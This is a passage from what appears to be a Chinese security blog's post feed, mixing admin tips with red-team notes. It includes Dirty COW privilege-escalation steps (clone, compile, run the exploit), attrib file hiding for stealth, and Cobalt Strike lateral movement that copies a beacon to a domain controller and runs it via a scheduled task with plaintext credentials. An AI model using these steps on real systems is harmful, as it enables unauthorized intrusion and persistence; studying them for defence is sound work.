title="8.复制文件进出容器"></a>8.复制文件进出容器</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker cp 28:/var/flag.txt /var/flag.txtdocker cp /var/flag.txt 28:/var/flag.txt</span><br></pre></td></tr></table></figure><p>使用cp命令可以将文件从容器复制到物理机也可以将文件从物理机复制到容器中,其中28为容器id的缩写。容器id不必全写,docker会自动匹配相应的容器。</p>]]></content>
<tags>
<tag> docker </tag>
</tags>
</entry>
<entry>
<title>文件隐藏的小技巧</title>
<link href="2021/07/20/%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8F%E7%9A%84%E5%B0%8F%E6%8A%80%E5%B7%A7/"/>
<url>2021/07/20/%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8F%E7%9A%84%E5%B0%8F%E6%8A%80%E5%B7%A7/</url>
<content type="html"><![CDATA[<h1 id="文件隐藏的小技巧"><a href="#文件隐藏的小技巧" class="headerlink" title="文件隐藏的小技巧"></a>文件隐藏的小技巧</h1><p>为了渗透过程的隐蔽性,我们常常需要将文件进行隐藏处理。下面总结了几条常用的命令,以备不时之需。</p><p>将单个文件变成隐藏的系统文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">attrib "文件名" +s +h</span><br></pre></td></tr></table></figure><p>将当前目录下的所有文件和文件夹都隐藏:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">attrib +h +s * /s /d</span><br></pre></td></tr></table></figure><ul><li><code>attrib</code> 命令用来修改文件的属性</li><li><code>+s</code> 参数将文件设置为系统文件</li><li><code>+h</code> 参数将文件设置为隐藏文件</li><li>/S /D 可以对该目录下所有匹配的文件和文件夹执行属性</li></ul><p>懂一点技术的用户都知道如何显示隐藏文件,但很少会注意到要显示「隐藏受保护的操作系统文件」,而且进行取消勾选「隐藏受保护的操作系统文件」操作时,系统会弹出一个措辞颇为严厉的警告窗口,足以将大部分普通用户吓阻回去。</p><p>还原的命令如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">attrib "文件名" -s -h</span><br><span class="line">attrib -h -s * /s /d</span><br></pre></td></tr></table></figure><p>整个方法的原理以及过程其实十分简单,说白了就是利用了「文件浏览器」对于系统文件出于安全考虑,默认不显示在「文件浏览器]中的特性而已。就方法本身而言,安全系数并不高,但因为你可以将想要隐藏的文件任意命名,以及放在任意路径之下,导致外人基本没有可能找到其藏身之处,也就谈不上后续的破解了。</p>]]></content>
<tags>
<tag> CMD </tag>
</tags>
</entry>
<entry>
<title>脏牛提权</title>
<link href="2021/07/14/%E8%84%8F%E7%89%9B%E6%8F%90%E6%9D%83/"/>
<url>2021/07/14/%E8%84%8F%E7%89%9B%E6%8F%90%E6%9D%83/</url>
<content type="html"><![CDATA[<h1 id="脏牛提权"><a href="#脏牛提权" class="headerlink" title="脏牛提权"></a>脏牛提权</h1><h3 id="漏洞原因"><a href="#漏洞原因" class="headerlink" title="漏洞原因"></a>漏洞原因</h3><p>Dirty COW漏洞是一种发生在<strong>写时复制</strong>的<strong>竞态条件</strong>漏洞。</p><p>详细分析参考链接</p><p><a href="https://blog.csdn.net/hbhgyu/article/details/106245182">https://blog.csdn.net/hbhgyu/article/details/106245182</a></p><h3 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h3><p>低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权</p><h3 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h3><p> Linux kernel 2.x through 4.x before 4.8.3</p><h3 id="验证漏洞是否存在"><a href="#验证漏洞是否存在" class="headerlink" title="验证漏洞是否存在"></a>验证漏洞是否存在</h3><p>使用<code>uname -a</code>命令查看linux内核信息,发现在脏牛漏洞范围内</p><p><img src="%E8%84%8F%E7%89%9B%E6%8F%90%E6%9D%83.assets/image-20210714091603781-1626225366290.png" alt="image-20210714091603781"></p><h3 id="下载EXP"><a href="#下载EXP" class="headerlink" title="下载EXP"></a>下载EXP</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/Pa55w0rd/dirtycow.git</span><br></pre></td></tr></table></figure><h3 id="将c文件编译成可执行文件"><a href="#将c文件编译成可执行文件" class="headerlink" title="将c文件编译成可执行文件"></a>将c文件编译成可执行文件</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -pthread dirty.c -o dirty -lcrypt</span><br></pre></td></tr></table></figure><h3 id="执行-dirty-密码-命令,即可进行提权。"><a href="#执行-dirty-密码-命令,即可进行提权。" class="headerlink" title="执行./dirty 密码 命令,即可进行提权。"></a>执行./dirty 密码 命令,即可进行提权。</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./dirty 密码</span><br></pre></td></tr></table></figure><p><img src="%E8%84%8F%E7%89%9B%E6%8F%90%E6%9D%83.assets/image-20210714091439210.png" alt="image-20210714091439210"></p>]]></content>
<categories>
<category> 权限提升 </category>
</categories>
<tags>
<tag> 提权 </tag>
</tags>
</entry>
<entry>
<title>Linux手动安装JDK</title>
<link href="2021/07/14/Linux%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85JDK/"/>
<url>2021/07/14/Linux%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85JDK/</url>
<content type="html"><![CDATA[<p>当Linux无法出网时,需要手动上传jdk压缩包来安装Java环境</p><p>创建安装目录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkdir /usr/local/java/</span><br></pre></td></tr></table></figure><p>将压缩包解压至安装目录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tar -zxvf jdk-11.0.11_linux-x64_bin.tar.gz -C /usr/local/java/</span><br></pre></td></tr></table></figure><p>打开环境变量文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/profile</span><br></pre></td></tr></table></figure><p>在末尾追加</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">export JAVA_HOME=/usr/local/java/jdk-11.0.11</span><br><span class="line">export JRE_HOME=${JAVA_HOME}/jre</span><br><span class="line">export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib</span><br><span class="line">export PATH=${JAVA_HOME}/bin:$PATH</span><br></pre></td></tr></table></figure><p>使环境变量生效</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">source /etc/profile</span><br></pre></td></tr></table></figure><p>添加软链接</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ln -s /usr/local/java/jdk-11.0.11/bin/java /usr/bin/java</span><br></pre></td></tr></table></figure><p>验证安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -version</span><br></pre></td></tr></table></figure><p>完成!</p>]]></content>
<categories>
<category> Java </category>
</categories>
<tags>
<tag> JDK </tag>
</tags>
</entry>
<entry>
<title>AGGRESSOR SCRIPT官方文档翻译-3. Data Model</title>
<link href="2021/07/10/AGGRESSOR-SCRIPT%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-3-Data-Model/"/>
<url>2021/07/10/AGGRESSOR-SCRIPT%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-3-Data-Model/</url>
<content type="html"><![CDATA[<h1 id="AGGRESSOR-SCRIPT官方文档翻译-3-Data-Model"><a href="#AGGRESSOR-SCRIPT官方文档翻译-3-Data-Model" class="headerlink" title="AGGRESSOR SCRIPT官方文档翻译-3. Data Model"></a>AGGRESSOR SCRIPT官方文档翻译-3. Data Model</h1><p>Cobalt Strike的团队服务器存储您的主机、服务、凭证和其他信息。 它还广播该信息,并使其对所有客户端可用。</p><h2 id="数据-API"><a href="#数据-API" class="headerlink" title="数据 API"></a>数据 API</h2><p>使用 <a href="https://www.cobaltstrike.com/aggressor-script/functions.html#data_query">&data_query</a>功能查询Cobalt Strike的数据模型。该功能可以访问Cobalt Strike客户端维护的所有状态和信息。使用<a href="https://www.cobaltstrike.com/aggressor-script/functions.html#data_keys">&data_keys</a> 来获得你可能查询的不同数据片段的列表。此示例查询Cobalt Strike数据模型中的所有数据,并将其导出到一个文本文件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">command export {</span><br><span class="line"># 注册命令</span><br><span class="line">local('$handle $model $row $entry $index');</span><br><span class="line"># 声明局部变量</span><br><span class="line">$handle = openf(">export.txt");</span><br><span class="line"># 打开一个文件句柄</span><br><span class="line">foreach $model (data_keys()) {</span><br><span class="line"># 遍历数据模型</span><br><span class="line">println($handle, "== $model ==");</span><br><span class="line">println($handle, data_query($model));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">closef($handle);</span><br><span class="line"># 关闭文件句柄</span><br><span class="line">println("See export.txt for the data.");</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>控制台执行:</p><p><img src="AGGRESSOR-SCRIPT%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-3-Data-Model.assets/image-20210710090308507.png" alt="image-20210710090308507"></p><p>导出的数据:</p><p><img src="AGGRESSOR-SCRIPT%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-3-Data-Model.assets/image-20210710090246700.png" alt="image-20210710090246700"></p><p>Cobalt Strike提供了几个函数,可以更直观地使用数据模型。</p><table><thead><tr><th>模型</th><th>函数</th><th>描述</th></tr></thead><tbody><tr><td>applications</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#applications">&applications</a></td><td>系统配置信息 [<strong>View -> Applications</strong>]</td></tr><tr><td>archives</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#archives">&archives</a></td><td>连接事件/活动</td></tr><tr><td>beacons</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#beacons">&beacons</a></td><td>活动的 beacons</td></tr><tr><td>credentials</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#credentials">&credentials</a></td><td>用户名、口令等.</td></tr><tr><td>downloads</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#downloads">&downloads</a></td><td>下载的文件</td></tr><tr><td>keystrokes</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#keystrokes">&keystrokes</a></td><td>键盘记录</td></tr><tr><td>screenshots</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#screenshots">&screenshots</a></td><td>截屏</td></tr><tr><td>services</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#services">&services</a></td><td>服务和服务信息</td></tr><tr><td>sites</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#sites">&sites</a></td><td>资产信息</td></tr><tr><td>socks</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#pivots">&pivots</a></td><td>SOCKS代理服务器和端口转发</td></tr><tr><td>targets</td><td><a href="https://www.cobaltstrike.com/aggressor-script/functions.html#targets">&targets</a></td><td>主机和主机信息</td></tr></tbody></table><p>这些函数在数据模型中为每个条目返回一个一行的数组。 每个条目是一个具有描述条目的不同键/值对的字典。</p><p>理解数据模型的最佳方法是通过Aggressor Script 控制台来研究它。进入View -> Script Console并使用x命令计算表达式。例如:</p><p><img src="AGGRESSOR-SCRIPT%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-3-Data-Model.assets/data.png" alt="Querying Data from the Aggressor Script console"></p><p>从Aggressor Script 控制台查询数据</p><p>使用 on DATA_KEY 订阅对特定数据模型的更改。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">on keystrokes {</span><br><span class="line">println("I have new keystrokes: $1");</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> Cobalt Strike </category>
</categories>
<tags>
<tag> Cobalt Strike插件开发 </tag>
</tags>
</entry>
<entry>
<title>Aggressor Script官方文档翻译-2.Cobalt Strike</title>
<link href="2021/07/09/Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike/"/>
<url>2021/07/09/Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike/</url>
<content type="html"><![CDATA[<p>[toc]</p><h1 id="Aggressor-Script官方文档翻译-2-Cobalt-Strike"><a href="#Aggressor-Script官方文档翻译-2-Cobalt-Strike" class="headerlink" title="Aggressor Script官方文档翻译-2.Cobalt Strike"></a>Aggressor Script官方文档翻译-2.Cobalt Strike</h1><h2 id="Cobalt-Strike-客户端"><a href="#Cobalt-Strike-客户端" class="headerlink" title="Cobalt Strike 客户端"></a>Cobalt Strike 客户端</h2><p>Aggressor 脚本引擎是Cobalt Strike的集成特性(the glue feature). 大多数Cobalt Strike对话框和特性都是作为向Aggressor 脚本引擎公开某些接口的独立模块编写的。</p><p>Cobalt Strike中内置了一个默认的脚本, <a href="https://www.cobaltstrike.com/aggressor-script/default.cna">default.cna</a>, 这个脚本定义了Cobalt Strike的工具栏按钮,弹出式菜单,它还为大多数Cobalt Strike事件格式化输出。</p><p>本章将向您展示这些功能如何工作,并使您能够按照您的需求来塑造Cobalt Strike客户端。</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/defaultscript.png" alt="The default.cna script"></p><h2 id="快捷键"><a href="#快捷键" class="headerlink" title="快捷键"></a>快捷键</h2><p>脚本可以创建快捷键,使用bind关键字绑定快捷键。这个例子展示了当Ctrl和H同时按下时,在对话框中显示“**Hello World!**”。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">bind Ctrl+H {</span><br><span class="line">show_message("Hello World!");</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>效果如下:</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/image-20210709154617398.png" alt="image-20210709154617398"></p><p>快捷键可以是任何ASCII字符或特殊键。快捷键可以有一个或多个修饰符应用于它们,例如:Ctrl, Shift, Alt,或Meta。脚本可以指定修饰符+键。</p><h2 id="弹出式菜单"><a href="#弹出式菜单" class="headerlink" title="弹出式菜单"></a>弹出式菜单</h2><p>脚本也可以添加到Cobalt Strike的菜单结构或重新定义它。popup关键字为popup钩子构建菜单层次。</p><p>下面是定义Cobalt Strike帮助菜单的代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">popup help {</span><br><span class="line"> item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });</span><br><span class="line"> item("&Support", { url_open("https://www.cobaltstrike.com/support"); });</span><br><span class="line"> item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts"); });</span><br><span class="line"> separator(); # 分隔线</span><br><span class="line"> item("&System Information", { openSystemInformationDialog(); });</span><br><span class="line"> separator();</span><br><span class="line"> item("&About", { openAboutDialog(); });</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>效果如下:</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/image-20210709155141293-1625817106180.png" alt="image-20210709155141293"></p><p>该脚本与Help popup钩子挂钩,并定义了几个菜单项。菜单项名称中的&是它的快捷键(keyboard accelerator)。当用户单击每个项时,与它相关联的代码块将执行。</p><p>脚本也可以定义带有子元素的菜单。关键字menu定义了一个新菜单。当用户将鼠标悬停在菜单上时,将执行与它相关的代码块,并用于构建子菜单。</p><p>这是Pivot Graph(拓扑图)菜单的一个例子:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">popup pgraph {</span><br><span class="line"> menu "&Layout" {</span><br><span class="line">item "&Circle" { graph_layout($1, "circle"); }</span><br><span class="line">item "&Stack" { graph_layout($1, "stack"); }</span><br><span class="line">menu "&Tree" {</span><br><span class="line">item "&Bottom" { graph_layout($1, "tree-bottom"); }</span><br><span class="line">item "&Left" { graph_layout($1, "tree-left"); }</span><br><span class="line">item "&Right" { graph_layout($1, "tree-right"); }</span><br><span class="line">item "&Top" { graph_layout($1, "tree-top"); }</span><br><span class="line">}</span><br><span class="line">separator();</span><br><span class="line">item "&None" { graph_layout($1, "none"); }</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>效果如下:</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/image-20210709155958173.png" alt="image-20210709155958173"></p><p>如果您的脚本为Cobalt Strike菜单钩子指定了一个菜单层次结构,它将添加到已经存在的菜单中。您也可以使用&popup清除功能来清除其他注册菜单项,并重新定义一个符合您个人品位的菜单层次结构。</p><h2 id="自定义输出"><a href="#自定义输出" class="headerlink" title="自定义输出"></a>自定义输出</h2><p>Aggressor脚本中的set关键字定义了如何格式化事件并将其输出显示给用户。下面是set关键字的示例:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">set EVENT_SBAR_LEFT {</span><br><span class="line">return "[" . tstamp(ticks()) . "] " . mynick();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">set EVENT_SBAR_RIGHT {</span><br><span class="line">return "[lag: $1 $+ ]";</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>显示效果:</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/image-20210709161631047.png" alt="image-20210709161631047"></p><p>上面的代码定义了Cobalt Strike事件日志中状态栏的内容 (<strong>View -> Event Log</strong>)。状态栏的左侧显示当前时间和昵称。右边显示Cobalt Strike客户端和团队服务器之间消息的往返时间。</p><p>您可以创建自己的文件来覆盖Cobalt Strike默认脚本中的任何设置选项,其中包含您所关心的事件的定义。把脚本加载进Cobalt Strike后Cobalt Strike将使用您的定义来构建。</p><h2 id="事件"><a href="#事件" class="headerlink" title="事件"></a>事件</h2><p>使用on关键字来定义事件的处理程序。当Cobalt Strike连接到团队服务器并准备好时,ready事件就会触发。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">on ready {</span><br><span class="line">show_message("Ready for action!");</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>显示效果:</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/image-20210709162022551-1625818825432.png" alt="image-20210709162022551"></p><p>Cobalt Strike为各种情况生成事件。使用*元事件查看Cobalt Strike的所有事件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">on * {</span><br><span class="line">local('$handle $event $args');</span><br><span class="line"></span><br><span class="line">$event = shift(@_);</span><br><span class="line">$args = join(" ", @_);</span><br><span class="line"></span><br><span class="line">$handle = openf(">>eventspy.txt");</span><br><span class="line">writeb($handle, "[ $+ $event $+ ] $args");</span><br><span class="line">closef($handle);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>效果如下:</p><p><img src="Aggressor-Script%E5%AE%98%E6%96%B9%E6%96%87%E6%A1%A3%E7%BF%BB%E8%AF%91-2-Cobalt-Strike.assets/image-20210709162801522.png" alt="image-20210709162801522"></p><p>生成了事件日志。</p>]]></content>
<categories>
<category> Cobalt Strike </category>
</categories>
<tags>
<tag> Cobalt Strike插件开发 </tag>
</tags>
</entry>
<entry>
<title>Jar包反编译和重打包</title>
<link href="2021/06/21/Jar%E5%8C%85%E5%8F%8D%E7%BC%96%E8%AF%91%E5%92%8C%E9%87%8D%E6%89%93%E5%8C%85/"/>
<url>2021/06/21/Jar%E5%8C%85%E5%8F%8D%E7%BC%96%E8%AF%91%E5%92%8C%E9%87%8D%E6%89%93%E5%8C%85/</url>
<content type="html"><![CDATA[<h1 id="Jar反编译和重打包"><a href="#Jar反编译和重打包" class="headerlink" title="Jar反编译和重打包"></a>Jar反编译和重打包</h1><p><strong>使用jadx反编译</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./jadx -d win win.jar</span><br></pre></td></tr></table></figure><p><strong>使用javac编译工程</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac -encoding utf8 -cp classes -d classes ./src/com/jlcss/ep/*.java -classpath ./lib/swt.jar</span><br></pre></td></tr></table></figure><p><strong>重新打包</strong></p><p>将jar解压,替换classes后重新打包成zip文件,最后将后缀改成jar即可</p>]]></content>
<tags>
<tag> 反编译 </tag>
</tags>
</entry>
<entry>
<title>Ubuntu执行service iptables -save报错iptables:unrecognized service 的解决方法</title>
<link href="2021/05/11/Ubuntu%E6%89%A7%E8%A1%8Cservice-iptables-save%E6%8A%A5%E9%94%99iptables%EF%BC%9Aunrecognized-service-%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/"/>
<url>2021/05/11/Ubuntu%E6%89%A7%E8%A1%8Cservice-iptables-save%E6%8A%A5%E9%94%99iptables%EF%BC%9Aunrecognized-service-%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95/</url>
<content type="html"><![CDATA[<p>问题描述:</p><p><img src="Ubuntu%E6%89%A7%E8%A1%8Cservice-iptables-save%E6%8A%A5%E9%94%99iptables%EF%BC%9Aunrecognized-service-%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95.assets/image-20210511171538464-1620724541793.png" alt="image-20210511171538464"></p><p>解决办法:</p><p>因为Ubuntu默认使用的防火墙并不是iptables,所以使用iptables之前需要先禁用UFW。</p><p>命令如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo ufw disable</span><br></pre></td></tr></table></figure><p>类似地,在CentOS 7服务器的情况下,防火墙也可能是冲突的一个原因。FirewallD默认包含在CentOS 7中。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service iptables save</span><br></pre></td></tr></table></figure><p>有时,在Ubuntu服务器中执行以下命令会返回一个无法识别的服务消息。</p><p>该命令基于/etc/init.d文件夹中iptables的启动脚本起作用。 通常,此命令适用于RHEL / Red Hat / CentOS。 在Ubuntu中,要保存防火墙规则的更改,我们使用以下命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo /sbin/iptables-save</span><br></pre></td></tr></table></figure><p>但是,如果坚持使用与以前相同的命令,我们可以在/etc/init.d文件夹中添加自定义的可执行启动脚本。 这样可以有效地解决错误。</p>]]></content>
<categories>
<category> iptables </category>
</categories>
<tags>
<tag> iptables </tag>
</tags>
</entry>
<entry>
<title>横向移动</title>
<link href="2021/04/20/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/"/>
<url>2021/04/20/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/</url>
<content type="html"><![CDATA[<h1 id="横向移动"><a href="#横向移动" class="headerlink" title="横向移动"></a>横向移动</h1><p>对 DC(10.10.10.2)目标主机建立共享连接,并查看目标主机共享资源。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">shell net use \\10.10.10.2 /user:administrator <span class="string">"JDredteam666"</span></span><br><span class="line">shell net view \\10.10.10.2</span><br></pre></td></tr></table></figure><p><img src="%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8.assets/image-20210109170638929.png" alt="image-20210109170638929"></p><p>列出目标主机 C 盘下目录文件。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell dir \\10.10.10.2\C$</span><br></pre></td></tr></table></figure><p><img src="%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8.assets/image-20210109170959454.png" alt="image-20210109170959454"></p><p>将CS木马上传到跳板机。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">upload C:\Users\asus\Desktop\beacon.exe (C:\Users\Server\Desktop\beacon.exe)</span><br></pre></td></tr></table></figure><p>将server(192.168.111.3)跳板机的木马文件copy到DC(10.10.10.2)目标机的C共享盘下。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell copy C:\Users\Server\Desktop\beacon.exe \\10.10.10.2\C$</span><br></pre></td></tr></table></figure><p>远程创建Win 2012(192.168.200.66)目标机计划任务执行木马文件。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shell schtasks /create /s 10.10.10.2 /u administrator /p <span class="string">"JDredteam"</span> /sc MINUTE /mo 1 /tn <span class="built_in">test</span> /tr <span class="string">"C:\\beacon.exe"</span></span><br></pre></td></tr></table></figure><p>成功上线,该会话为被动连接,不操作的不会回连,如果中转机会话断掉,该会话也会断掉。</p><p><img src="%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8.assets/image-20210109202117004.png" alt="image-20210109202117004"></p>]]></content>
<categories>
<category> 内网攻防 </category>
</categories>
<tags>
<tag> 横向移动 </tag>
</tags>
</entry>
<entry>
<title>域操作基本命令</title>
<link href="2021/04/20/%E5%9F%9F%E6%93%8D%E4%BD%9C%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/"/>
<url>2021/04/20/%E5%9F%9F%E6%93%8D%E4%BD%9C%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/</url>
<content type="html"><![CDATA[<h1 id="域操作基础命令"><a href="#域操作基础命令" class="headerlink" title="域操作基础命令"></a>域操作基础命令</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">net group /domain 获得所有域用户组列表</span><br><span class="line">net group xxxxx /domain 显示域中xxxxx组的成员</span><br><span class="line">net group xxxxx /del /domain 删除域中xxxxx组</span><br><span class="line">net group xxxxx xy /del /domain 删除域内xxxxx 群组中的xy成员</span><br><span class="line">net group xxxxx /add /domain 增加域中的群组</span><br><span class="line">net group "domain admins" /domain 获得域管理员列表</span><br><span class="line">net group "enterprise admins" /domain 获得企业管理员列表</span><br><span class="line">net localgroup administrators /domain 获取域内置administrators组用(enterprise admins、domain admins)</span><br><span class="line">net group "domain controllers" /domain 获得域控制器列表</span><br><span class="line">net group "domain computers" /domain 获得所有域成员计算机列表</span><br><span class="line">net user /domain 获得所有域用户列表</span><br><span class="line">net user xxxx /domain 